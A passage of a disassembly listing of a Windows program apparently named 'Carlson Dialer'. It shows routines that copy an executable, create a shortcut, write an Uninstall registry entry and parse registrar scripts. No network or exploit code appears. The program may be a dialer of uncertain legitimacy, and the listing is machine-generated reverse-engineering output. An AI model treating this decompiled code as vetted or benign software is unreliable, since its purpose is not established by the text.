		lea	ecx, [esp+184h+var_170]
		mov	[esp+184h+var_170], ebx
		call	sub_401E30
		mov	esi, [esp+180h+var_170]
		cmp	esi, ebx
		jnz	short loc_403684
		push	ebx
		jmp	short loc_4036AC
; ---------------------------------------------------------------------------


loc_403684:				; CODE XREF: sub_403350+32Fj
		mov	ecx, [esp+180h+var_164]
		lea	eax, [esp+180h+var_170]
		push	eax
		push	esi
		push	ecx
		mov	[esp+18Ch+var_170], ebx
		call	sub_40A570
		test	eax, eax
		jl	short loc_4036AB
		mov	edx, [esp+180h+var_164]
		push	edx
		call	ebp
		mov	eax, [esp+180h+var_170]
		mov	[esp+180h+var_164], eax


loc_4036AB:				; CODE XREF: sub_403350+34Aj
		push	esi


loc_4036AC:				; CODE XREF: sub_403350+332j
		call	ebp
		mov	edi, [esp+180h+var_5C]
		cmp	edi, ebx
		jz	short loc_4036E0
		mov	edx, [esp+180h+var_164]
		lea	ecx, [esp+180h+var_170]
		push	ecx
		push	edi
		push	edx
		mov	[esp+18Ch+var_170], ebx
		call	sub_40A570
		test	eax, eax
		jl	short loc_4036E0
		mov	eax, [esp+180h+var_164]
		push	eax
		call	ebp
		mov	ecx, [esp+180h+var_170]
		mov	[esp+180h+var_164], ecx


loc_4036E0:				; CODE XREF: sub_403350+367j
					; sub_403350+37Fj
		push	offset a_exe	; ".exe"
		lea	ecx, [esp+184h+var_170]
		mov	[esp+184h+var_170], ebx
		call	sub_401E30
		mov	esi, [esp+180h+var_170]
		cmp	esi, ebx
		jnz	short loc_4036FD
		push	ebx
		jmp	short loc_403725
; ---------------------------------------------------------------------------


loc_4036FD:				; CODE XREF: sub_403350+3A8j
		mov	eax, [esp+180h+var_164]
		lea	edx, [esp+180h+var_170]
		push	edx
		push	esi
		push	eax
		mov	[esp+18Ch+var_170], ebx
		call	sub_40A570
		test	eax, eax
		jl	short loc_403724
		mov	ecx, [esp+180h+var_164]
		push	ecx
		call	ebp
		mov	edx, [esp+180h+var_170]
		mov	[esp+180h+var_164], edx


loc_403724:				; CODE XREF: sub_403350+3C3j
		push	esi


loc_403725:				; CODE XREF: sub_403350+3ABj
		call	ebp
		lea	ecx, [esp+180h+var_88]
		call	sub_409F60
		lea	ecx, [esp+180h+var_164]
		mov	esi, eax
		call	sub_409F60
		push	eax
		push	esi
		call	ds:dword_40F0B8	; lstrcmp
		test	eax, eax
		jz	short loc_4037A7
		lea	ecx, [esp+180h+var_88]
		call	sub_409F60
		push	ebx
		lea	ecx, [esp+184h+var_164]
		mov	esi, eax
		call	sub_409F60
		push	eax
		push	esi
		call	ds:dword_40F0B4	; CopyFileA
		test	eax, eax
		jnz	short loc_403789
		mov	edi, [esp+180h+var_168]


loc_403772:				; CODE XREF: sub_403350+2E7j
					; sub_403350+2FDj
		inc	edi
		cmp	edi, 0Ah
		mov	[esp+180h+var_168], edi
		jl	loc_403532
		mov	edi, [esp+180h+var_5C]
		jmp	short loc_4037A7
; ---------------------------------------------------------------------------


loc_403789:				; CODE XREF: sub_403350+41Cj
		mov	eax, [esp+180h+var_10C]
		push	eax
		call	ebp
		lea	ecx, [esp+180h+var_164]
		mov	[esp+180h+var_10C], ebx
		call	sub_409F60
		push	eax
		lea	ecx, [esp+184h+var_10C]
		call	sub_402310


loc_4037A7:				; CODE XREF: sub_403350+3F8j
					; sub_403350+437j
		cmp	[esp+180h+var_168], 9
		jle	short loc_4037E7
		mov	ecx, [esp+180h+var_164]
		push	ecx
		call	ebp
		mov	eax, [esp+180h+var_88]
		cmp	eax, ebx
		mov	[esp+180h+var_164], ebx
		jz	short loc_4037E7
		lea	edx, [esp+180h+var_170]
		push	edx
		push	eax
		push	ebx
		mov	[esp+18Ch+var_170], ebx
		call	sub_40A570
		test	eax, eax
		jl	short loc_4037E7
		mov	eax, [esp+180h+var_164]
		push	eax
		call	ebp
		mov	ecx, [esp+180h+var_170]
		mov	[esp+180h+var_164], ecx


loc_4037E7:				; CODE XREF: sub_403350+45Cj
					; sub_403350+472j ...
		push	16h
		lea	ecx, [esp+184h+var_138]
		mov	[esp+184h+var_138], ebx
		mov	[esp+184h+Memory], ebx
		mov	[esp+184h+var_130], ebx
		mov	[esp+184h+var_12C], bl
		mov	[esp+184h+var_10E], bl
		call	sub_40A3B0
		cmp	al, 1
		jz	short loc_403837
		push	0Bh
		lea	ecx, [esp+184h+var_138]
		call	sub_40A3B0
		cmp	al, 1
		jz	short loc_403837
		mov	edx, off_4120B4
		mov	eax, off_4120AC
		push	edx
		push	eax
		lea	ecx, [esp+188h+var_138]
		call	sub_40A390
		cmp	al, 1
		jnz	loc_403972


loc_403837:				; CODE XREF: sub_403350+4B8j
					; sub_403350+4C7j
		push	offset asc_40F5D4 ; "\\"
		lea	ecx, [esp+184h+var_170]
		mov	[esp+184h+var_170], ebx
		call	sub_401E30
		mov	esi, [esp+180h+var_170]
		cmp	esi, ebx
		jnz	short loc_403854
		push	ebx
		jmp	short loc_40387C
; ---------------------------------------------------------------------------


loc_403854:				; CODE XREF: sub_403350+4FFj
		mov	edx, [esp+180h+var_138]
		lea	ecx, [esp+180h+var_170]
		push	ecx
		push	esi
		push	edx
		mov	[esp+18Ch+var_170], ebx
		call	sub_40A570
		test	eax, eax
		jl	short loc_40387B
		mov	eax, [esp+180h+var_138]
		push	eax
		call	ebp
		mov	ecx, [esp+180h+var_170]
		mov	[esp+180h+var_138], ecx


loc_40387B:				; CODE XREF: sub_403350+51Aj
		push	esi


loc_40387C:				; CODE XREF: sub_403350+502j
		call	ebp
		cmp	edi, ebx
		jz	short loc_4038A9
		mov	eax, [esp+180h+var_138]
		lea	edx, [esp+180h+var_170]
		push	edx
		push	edi
		push	eax
		mov	[esp+18Ch+var_170], ebx
		call	sub_40A570
		test	eax, eax
		jl	short loc_4038A9
		mov	ecx, [esp+180h+var_138]
		push	ecx
		call	ebp
		mov	edx, [esp+180h+var_170]
		mov	[esp+180h+var_138], edx


loc_4038A9:				; CODE XREF: sub_403350+530j
					; sub_403350+548j
		push	offset a_lnk	; ".lnk"
		lea	ecx, [esp+184h+var_170]
		mov	[esp+184h+var_170], ebx
		call	sub_401E30
		mov	esi, [esp+180h+var_170]
		cmp	esi, ebx
		jnz	short loc_4038C6
		push	ebx
		jmp	short loc_4038EE
; ---------------------------------------------------------------------------


loc_4038C6:				; CODE XREF: sub_403350+571j
		mov	ecx, [esp+180h+var_138]
		lea	eax, [esp+180h+var_170]
		push	eax
		push	esi
		push	ecx
		mov	[esp+18Ch+var_170], ebx
		call	sub_40A570
		test	eax, eax
		jl	short loc_4038ED
		mov	edx, [esp+180h+var_138]
		push	edx
		call	ebp
		mov	eax, [esp+180h+var_170]
		mov	[esp+180h+var_138], eax


loc_4038ED:				; CODE XREF: sub_403350+58Cj
		push	esi


loc_4038EE:				; CODE XREF: sub_403350+574j
		call	ebp
		push	offset aInternetDialer ; "Internet Dialer"
		lea	ecx, [esp+184h+var_164]
		call	sub_409F60
		push	eax
		lea	ecx, [esp+188h+var_138]
		call	sub_40A110
		mov	ecx, [esp+180h+var_B4]
		push	ecx
		call	ebp
		lea	ecx, [esp+180h+var_138]
		mov	[esp+180h+var_B4], ebx
		call	sub_409F60
		cmp	eax, ebx
		jz	short loc_403972
		push	eax
		lea	ecx, [esp+184h+var_170]
		mov	[esp+184h+var_170], ebx
		call	sub_401E30
		mov	esi, [esp+180h+var_170]
		cmp	esi, ebx
		jnz	short loc_40393F
		push	ebx
		jmp	short loc_403970
; ---------------------------------------------------------------------------


loc_40393F:				; CODE XREF: sub_403350+5EAj
		mov	eax, [esp+180h+var_B4]
		lea	edx, [esp+180h+var_170]
		push	edx
		push	esi
		push	eax
		mov	[esp+18Ch+var_170], ebx
		call	sub_40A570
		test	eax, eax
		jl	short loc_40396F
		mov	ecx, [esp+180h+var_B4]
		push	ecx
		call	ebp
		mov	edx, [esp+180h+var_170]
		mov	[esp+180h+var_B4], edx


loc_40396F:				; CODE XREF: sub_403350+608j
		push	esi


loc_403970:				; CODE XREF: sub_403350+5EDj
		call	ebp


loc_403972:				; CODE XREF: sub_403350+4E1j
					; sub_403350+5D4j
		cmp	ds:byte_40F7FB,	bl
		jz	short loc_4039AC
		lea	ecx, [esp+180h+var_10C]
		call	sub_409F60
		lea	ecx, [esp+180h+var_B4]
		mov	esi, eax
		call	sub_409F60
		mov	ecx, [esp+180h+arg_0]
		mov	edi, eax
		push	ecx
		mov	eax, esi
		call	sub_4030B0
		mov	edi, [esp+184h+var_5C]
		add	esp, 4


loc_4039AC:				; CODE XREF: sub_403350+628j
		lea	edx, [esp+180h+var_30]
		push	edx
		lea	eax, [esp+184h+var_16C]
		push	eax
		push	ebx
		push	0F003Fh
		push	ebx
		push	ebx
		push	ebx
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		mov	[esp+1A4h+var_16C], ebx
		call	ds:dword_40F000	; RegCreateKeyExA
		test	eax, eax
		jnz	loc_403A8C
		mov	eax, offset aCarlsonDialer ; "Carlson Dialer"
		lea	edx, [eax+1]


loc_4039E6:				; CODE XREF: sub_403350+69Bj
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_4039E6
		mov	ecx, [esp+180h+var_16C]
		mov	edi, ds:dword_40F010
		sub	eax, edx
		push	eax
		push	offset aCarlsonDialer ;	"Carlson Dialer"
		push	1
		push	ebx
		push	offset aDisplayname ; "DisplayName"
		push	ecx
		call	edi	; RegSetValueExA
		push	offset aU	; " -u"
		lea	ecx, [esp+184h+var_170]
		mov	[esp+184h+var_170], ebx
		call	sub_401E30
		mov	esi, [esp+180h+var_170]
		cmp	esi, ebx
		jnz	short loc_403A27
		push	ebx
		jmp	short loc_403A4F
; ---------------------------------------------------------------------------


loc_403A27:				; CODE XREF: sub_403350+6D2j
		mov	eax, [esp+180h+var_10C]
		lea	edx, [esp+180h+var_170]
		push	edx
		push	esi
		push	eax
		mov	[esp+18Ch+var_170], ebx
		call	sub_40A570
		test	eax, eax
		jl	short loc_403A4E
		mov	ecx, [esp+180h+var_10C]
		push	ecx
		call	ebp
		mov	edx, [esp+180h+var_170]
		mov	[esp+180h+var_10C], edx


loc_403A4E:				; CODE XREF: sub_403350+6EDj
		push	esi


loc_403A4F:				; CODE XREF: sub_403350+6D5j
		call	ebp
		lea	ecx, [esp+180h+var_10C]
		call	sub_409F60
		mov	ecx, eax
		lea	esi, [ecx+1]
		nop


loc_403A60:				; CODE XREF: sub_403350+715j
		mov	dl, [ecx]
		inc	ecx
		cmp	dl, bl
		jnz	short loc_403A60
		sub	ecx, esi
		push	ecx
		push	eax
		mov	eax, [esp+188h+var_16C]
		push	1
		push	ebx
		push	offset aUninstallstrin ; "UninstallString"
		push	eax
		call	edi	; RegSetValueExA
		mov	ecx, [esp+180h+var_16C]
		push	ecx
		call	ds:dword_40F020	; RegCloseKey
		mov	edi, [esp+180h+var_5C]


loc_403A8C:				; CODE XREF: sub_403350+688j
		push	ebx
		push	ebx
		push	ebx
		push	7FFFFFFFh
		call	ds:dword_40F1A8
		mov	eax, [esp+180h+Memory]
		cmp	eax, ebx
		jz	short loc_403AAF
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	[esp+180h+Memory], ebx


loc_403AAF:				; CODE XREF: sub_403350+750j
		mov	edx, [esp+180h+var_138]
		push	edx
		call	ebp
		mov	eax, [esp+180h+var_160]
		cmp	eax, ebx
		jz	short loc_403ACB
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	[esp+180h+var_160], ebx


loc_403ACB:				; CODE XREF: sub_403350+76Cj
		mov	eax, [esp+180h+var_164]
		push	eax
		call	ebp
		mov	eax, [esp+180h+var_DC]
		cmp	eax, ebx
		jz	short loc_403AED
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	[esp+180h+var_DC], ebx


loc_403AED:				; CODE XREF: sub_403350+78Bj
		mov	ecx, [esp+180h+var_E0]
		push	ecx
		call	ebp
		mov	eax, [esp+180h+var_58]
		cmp	eax, ebx
		jz	short loc_403B0B
		push	eax		; Memory
		call	_free
		add	esp, 4


loc_403B0B:				; CODE XREF: sub_403350+7B0j
		push	edi
		call	ebp
		mov	eax, [esp+180h+var_84]
		cmp	eax, ebx
		jz	short loc_403B29
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	[esp+180h+var_84], ebx


loc_403B29:				; CODE XREF: sub_403350+7C7j
		mov	edx, [esp+180h+var_88]
		push	edx
		call	ebp
		push	ebx
		call	ebp
		mov	eax, [esp+180h+var_28]
		cmp	eax, ebx
		jz	short loc_403B51
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	[esp+180h+var_28], ebx


loc_403B51:				; CODE XREF: sub_403350+7EFj
		mov	eax, [esp+180h+var_2C]
		push	eax
		call	ebp
		mov	eax, [esp+180h+var_B0]
		cmp	eax, ebx
		jz	short loc_403B76
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	[esp+180h+var_B0], ebx


loc_403B76:				; CODE XREF: sub_403350+814j
		mov	ecx, [esp+180h+var_B4]
		push	ecx
		call	ebp
		mov	eax, [esp+180h+var_108]
		cmp	eax, ebx
		jz	short loc_403B95
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	[esp+180h+var_108], ebx


loc_403B95:				; CODE XREF: sub_403350+836j
		mov	edx, [esp+180h+var_10C]
		push	edx
		call	ebp
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 170h
		retn
sub_403350	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_403BB0(void	*Memory,int)

sub_403BB0	proc near		; CODE XREF: sub_403CA0+94p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Memory		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+14h+Memory]
		test	esi, esi
		mov	[esp+14h+var_4], ecx
		jz	loc_403C87
		mov	ebp, [esp+14h+arg_4]
		test	ebp, ebp
		jz	loc_403C87
		push	ebx
		push	edi
		push	esi
		mov	[esp+20h+var_C], 0
		call	ds:dword_40F084	; lstrlen
		mov	edi, eax
		inc	edi
		push	edi		; unsigned int
		call	j_??2@YAPAXI@Z	; operator new(uint)
		add	esp, 4
		mov	ebx, eax
		push	ebp
		mov	[esp+20h+var_8], ebx
		call	ds:dword_40F040	; lstrlenW
		lea	ebp, [eax+eax+2]
		lea	eax, [ebp+ebp+0]
		push	eax		; unsigned int
		call	j_??2@YAPAXI@Z	; operator new(uint)
		add	esp, 4
		test	ebx, ebx
		mov	[esp+1Ch+Memory], eax
		jz	short loc_403C57
		test	eax, eax
		jz	short loc_403C57
		mov	ecx, edi
		mov	edx, ecx
		shr	ecx, 2
		mov	edi, ebx
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	esi, [esp+1Ch+arg_4]
		mov	edi, eax
		mov	ecx, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+1Ch+Memory]
		push	ecx
		mov	ecx, [esp+20h+var_4]
		lea	edx, [esp+20h+var_8]
		push	edx
		call	sub_402F50
		test	eax, eax
		jnz	short loc_403C72


loc_403C57:				; CODE XREF: sub_403BB0+62j
					; sub_403BB0+66j
		push	ebx		; Memory
		mov	[esp+20h+var_C], 8007000Eh
		call	j_j__free
		mov	eax, [esp+20h+Memory]
		push	eax		; Memory
		call	j_j__free
		add	esp, 8


loc_403C72:				; CODE XREF: sub_403BB0+A5j
		mov	ecx, [esp+1Ch+var_C]
		pop	edi
		pop	ebx
		xor	eax, eax
		test	ecx, ecx
		pop	esi
		setnl	al
		pop	ebp
		add	esp, 0Ch
		retn	8
; ---------------------------------------------------------------------------


loc_403C87:				; CODE XREF: sub_403BB0+Fj
					; sub_403BB0+1Bj
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 0Ch
		retn	8
sub_403BB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403CA0	proc near		; CODE XREF: sub_4050C0+39p
					; sub_4050C0:loc_40527Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_403D5F
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jz	loc_403D5F
		call	off_412040
		push	edi
		mov	ebx, eax
		mov	[ebp+arg_4], 0
		call	ds:dword_40F040	; lstrlenW
		lea	esi, [eax+eax+2]
		cmp	esi, 400h
		jg	short loc_403CFC
		push	esi
		call	sub_4010B0
		add	esp, 4
		test	al, al
		jz	short loc_403CFC
		mov	eax, esi
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	__alloca_probe
		mov	eax, esp
		jmp	short loc_403D05
; ---------------------------------------------------------------------------


loc_403CFC:				; CODE XREF: sub_403CA0+3Cj
					; sub_403CA0+49j
		push	esi
		lea	ecx, [ebp+arg_4]
		call	sub_4022E0


loc_403D05:				; CODE XREF: sub_403CA0+5Aj
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_401240
		test	eax, eax
		jnz	short loc_403D29
		lea	ecx, [ebp+arg_4]
		call	sub_401C60
		mov	eax, 8007000Eh
		lea	esp, [ebp-0Ch]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------


loc_403D29:				; CODE XREF: sub_403CA0+70j
		mov	ecx, [ebp+arg_8]
		push	ecx		; int
		mov	ecx, [ebp+arg_0]
		push	eax		; Memory
		add	ecx, 4
		call	sub_403BB0
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		and	esi, 7FF8FFF2h
		lea	ecx, [ebp+arg_4]
		add	esi, 8007000Eh
		call	sub_401C60
		mov	eax, esi
		lea	esp, [ebp-0Ch]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------


loc_403D5F:				; CODE XREF: sub_403CA0+Bj
					; sub_403CA0+16j
		mov	eax, 80070057h
		lea	esp, [ebp-0Ch]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_403CA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=6Ch


sub_403D70	proc near		; CODE XREF: sub_404100+205p
					; sub_404100+3DBp

var_1110	= byte ptr -1110h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	eax, 1110h
		lea	ebp, [esp-6Ch]
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+6Ch+var_1110]
		mov	edi, ecx
		xor	esi, esi
		push	eax
		mov	[ebp+6Ch+var_8], edi
		mov	[ebp+6Ch+var_4], esi
		call	sub_401810
		cmp	eax, esi
		jl	loc_4040E2
		lea	ecx, [ebp+6Ch+var_4]
		push	ecx
		lea	edx, [ebp+6Ch+var_1110]
		push	edx
		call	sub_401650
		add	esp, 8
		test	eax, eax
		jnz	short loc_403DCE
		mov	eax, 80020009h
		lea	esp, [ebp-10B0h]
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 6Ch
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------


loc_403DCE:				; CODE XREF: sub_403D70+45j
		mov	ecx, edi
		call	sub_4017B0
		lea	eax, [ebp+6Ch+var_1110]
		push	eax
		mov	ecx, edi
		call	sub_401810
		cmp	eax, esi
		jl	loc_4040E2
		movzx	eax, word ptr [ebp+6Ch+var_4]
		cmp	eax, 13h
		jg	loc_403FEB
		jz	loc_403F3E
		cmp	eax, 8
		jz	loc_403F22
		cmp	eax, 11h
		jnz	loc_4040CD
		lea	ecx, [ebp+6Ch+var_1110]
		push	ecx
		call	ds:dword_40F084	; lstrlen
		mov	ebx, eax
		test	bl, 1
		jnz	short loc_403E63
		cdq
		sub	eax, edx
		mov	esi, eax
		sar	esi, 1
		push	esi		; Size
		lea	ecx, [ebp+6Ch+var_110]
		mov	[ebp+6Ch+var_4], esi
		mov	[ebp+6Ch+var_110], 0
		call	sub_403000
		mov	edi, [ebp+6Ch+var_110]
		test	edi, edi
		jnz	short loc_403E7A
		lea	edx, [ebp+6Ch+var_10C]
		test	edx, edx
		jz	short loc_403E63
		lea	ecx, [ebp+6Ch+var_110]
		call	sub_401CD0


loc_403E63:				; CODE XREF: sub_403D70+B2j
					; sub_403D70+E6j
		mov	eax, 80004005h
		lea	esp, [ebp-10B0h]
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 6Ch
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------


loc_403E7A:				; CODE XREF: sub_403D70+DCj
		mov	ecx, esi
		mov	edx, ecx
		shr	ecx, 2
		xor	eax, eax
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		xor	esi, esi
		test	ebx, ebx
		rep stosb
		jle	short loc_403EDD
		jmp	short loc_403EA0
; ---------------------------------------------------------------------------
		db 8Dh,	0A4h, 24h, 4 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_403EA0
; ---------------------------------------------------------------------------
		align 10h


loc_403EA0:				; CODE XREF: sub_403D70+122j
					; sub_403D70+12Bj ...
		mov	ecx, [ebp+6Ch+var_110]
		xor	edx, edx
		mov	dl, [ebp+esi+6Ch+var_1110]
		mov	eax, esi
		shr	eax, 1
		lea	edi, [eax+ecx]
		push	edx
		call	sub_401700
		mov	ecx, esi
		and	ecx, 1
		shl	ecx, 2
		mov	edx, ecx
		mov	ecx, 4
		sub	ecx, edx
		mov	dl, [edi]
		shl	al, cl
		add	esp, 4
		or	dl, al
		inc	esi
		cmp	esi, ebx
		mov	[edi], dl
		jl	short loc_403EA0


loc_403EDD:				; CODE XREF: sub_403D70+120j
		mov	ecx, [ebp+6Ch+var_4]
		mov	edx, [ebp+6Ch+var_110]
		mov	eax, [ebp+6Ch+arg_0]
		mov	eax, [eax]
		push	ecx
		mov	ecx, [ebp+6Ch+arg_4]
		push	edx
		push	3
		push	0
		push	ecx
		push	eax
		call	ds:dword_40F010	; RegSetValueExA
		mov	esi, eax
		mov	eax, [ebp+6Ch+var_110]
		lea	edx, [ebp+6Ch+var_10C]
		cmp	eax, edx
		jz	loc_4040A9
		lea	ecx, [ebp+6Ch+var_110]
		call	sub_401CD0
		jmp	loc_4040A9
; ---------------------------------------------------------------------------


loc_403F22:				; CODE XREF: sub_403D70+91j
		mov	ecx, [ebp+6Ch+arg_4]
		push	1
		lea	eax, [ebp+6Ch+var_1110]
		push	eax
		push	ecx
		mov	ecx, [ebp+6Ch+arg_0]
		call	sub_401560
		mov	esi, eax
		jmp	loc_4040A9
; ---------------------------------------------------------------------------


loc_403F3E:				; CODE XREF: sub_403D70+88j
		call	off_412040
		lea	edx, [ebp+6Ch+var_1110]
		push	edx
		mov	ebx, eax
		mov	[ebp+6Ch+var_4], esi
		call	ds:dword_40F084	; lstrlen
		mov	esi, eax
		inc	esi
		lea	edi, [esi+esi]
		cmp	edi, 400h
		ja	short loc_403F82
		push	edi
		call	sub_4010B0
		add	esp, 4
		test	al, al
		jz	short loc_403F82
		mov	eax, edi
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	__alloca_probe
		mov	eax, esp
		jmp	short loc_403F8B
; ---------------------------------------------------------------------------


loc_403F82:				; CODE XREF: sub_403D70+1F2j
					; sub_403D70+1FFj
		push	edi
		lea	ecx, [ebp+6Ch+var_4]
		call	sub_4022E0


loc_403F8B:				; CODE XREF: sub_403D70+210j
		push	ebx
		push	esi
		lea	ecx, [ebp+6Ch+var_1110]
		push	ecx
		push	eax
		call	sub_401200
		test	eax, eax
		jnz	short loc_403FBD
		lea	ecx, [ebp+6Ch+var_4]
		call	sub_401C60
		mov	eax, 8007000Eh
		lea	esp, [ebp-10B0h]
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 6Ch
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------


loc_403FBD:				; CODE XREF: sub_403D70+22Cj
		lea	edx, [ebp+6Ch+var_C]
		push	edx
		push	0
		push	0
		push	eax
		call	ds:dword_40F198
		mov	eax, [ebp+6Ch+var_C]
		mov	ecx, [ebp+6Ch+arg_4]
		push	eax
		push	ecx
		mov	ecx, [ebp+6Ch+arg_0]
		call	sub_401540
		lea	ecx, [ebp+6Ch+var_4]
		mov	esi, eax
		call	sub_401C60
		jmp	loc_4040A9
; ---------------------------------------------------------------------------


loc_403FEB:				; CODE XREF: sub_403D70+82j
		cmp	eax, 4008h
		jnz	loc_4040CD
		lea	edx, [ebp+6Ch+var_1110]
		push	edx
		call	ds:dword_40F084	; lstrlen
		inc	eax
		push	eax		; Size
		lea	ecx, [ebp+6Ch+var_110]
		mov	[ebp+6Ch+var_110], esi
		call	sub_403000
		mov	edi, [ebp+6Ch+var_110]
		cmp	edi, esi
		jz	short loc_40408F
		mov	al, [ebp+6Ch+var_1110]
		test	al, al
		lea	esi, [ebp+6Ch+var_1110]
		jz	short loc_40406F
		mov	ebx, ds:dword_40F230


loc_404036:				; CODE XREF: sub_403D70+2FDj
		push	esi
		call	ebx	; CharNextA
		mov	cl, [esi]
		cmp	cl, 5Ch
		jnz	short loc_404050
		cmp	byte ptr [eax],	30h
		jnz	short loc_404050
		mov	byte ptr [edi],	0
		push	eax
		inc	edi
		call	ebx	; CharNextA
		mov	esi, eax
		jmp	short loc_40406A
; ---------------------------------------------------------------------------


loc_404050:				; CODE XREF: sub_403D70+2CEj
					; sub_403D70+2D3j
		xor	eax, eax
		mov	[edi], cl
		mov	al, [esi]
		push	eax
		call	ds:dword_40F0C4	; IsDBCSLeadByte
		test	eax, eax
		jz	short loc_404068
		mov	cl, [esi+1]
		inc	edi
		inc	esi
		mov	[edi], cl


loc_404068:				; CODE XREF: sub_403D70+2EFj
		inc	edi
		inc	esi


loc_40406A:				; CODE XREF: sub_403D70+2DEj
		cmp	byte ptr [esi],	0
		jnz	short loc_404036


loc_40406F:				; CODE XREF: sub_403D70+2BEj
		mov	eax, [ebp+6Ch+arg_4]
		mov	ecx, [ebp+6Ch+arg_0]
		mov	byte ptr [edi],	0
		mov	edx, [ebp+6Ch+var_110]
		push	edx
		push	eax
		call	sub_401590
		mov	edi, [ebp+6Ch+var_110]
		mov	esi, eax
		jmp	short loc_404094
; ---------------------------------------------------------------------------


loc_40408F:				; CODE XREF: sub_403D70+2AEj
		mov	esi, 0Eh


loc_404094:				; CODE XREF: sub_403D70+31Dj
		lea	ecx, [ebp+6Ch+var_10C]
		cmp	edi, ecx
		jz	short loc_4040A9
		lea	ecx, [ebp+6Ch+var_110]
		call	sub_401CD0


loc_4040A9:				; CODE XREF: sub_403D70+19Cj
					; sub_403D70+1ADj ...
		test	esi, esi
		jz	short loc_4040C8
		push	esi
		call	sub_401400
		add	esp, 4
		lea	esp, [ebp-10B0h]
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 6Ch
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4040C8:				; CODE XREF: sub_403D70+33Bj
		mov	edi, [ebp+6Ch+var_8]
		xor	esi, esi


loc_4040CD:				; CODE XREF: sub_403D70+9Aj
					; sub_403D70+280j
		mov	edx, [ebp+6Ch+arg_8]
		push	edx
		mov	ecx, edi
		call	sub_401810
		xor	ecx, ecx
		cmp	eax, esi
		setnl	cl
		dec	ecx
		and	eax, ecx


loc_4040E2:				; CODE XREF: sub_403D70+2Aj
					; sub_403D70+75j
		lea	esp, [ebp-10B0h]
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 6Ch
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_403D70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_404100	proc near		; CODE XREF: sub_404100+13Cp
					; sub_404100+494p ...

var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= byte ptr -20Ch
var_208		= byte ptr -208h
var_104		= byte ptr -104h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 21Ch
		mov	eax, [esp+21Ch+arg_C]
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+228h+arg_0]
		push	edi
		mov	ebx, ecx
		mov	[esp+22Ch+var_218], 0
		mov	[esp+22Ch+var_210], eax
		call	sub_401810
		mov	esi, eax
		test	esi, esi
		jge	short loc_40413D
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 21Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_40413D:				; CODE XREF: sub_404100+2Fj
		cmp	byte ptr [edi],	7Dh
		push	ebp
		jz	loc_4046B6
		jmp	short loc_404150
; ---------------------------------------------------------------------------
		align 10h


loc_404150:				; CODE XREF: sub_404100+47j
					; sub_404100+160j
		mov	esi, ds:dword_40F088
		push	offset aDelete	; "Delete"
		push	edi
		mov	[esp+234h+var_21C], 1
		call	esi	; lstrcmpi
		mov	ebp, eax
		neg	ebp
		push	offset aForceremove ; "ForceRemove"
		sbb	ebp, ebp
		push	edi
		inc	ebp
		call	esi	; lstrcmpi
		test	eax, eax
		jz	short loc_404181
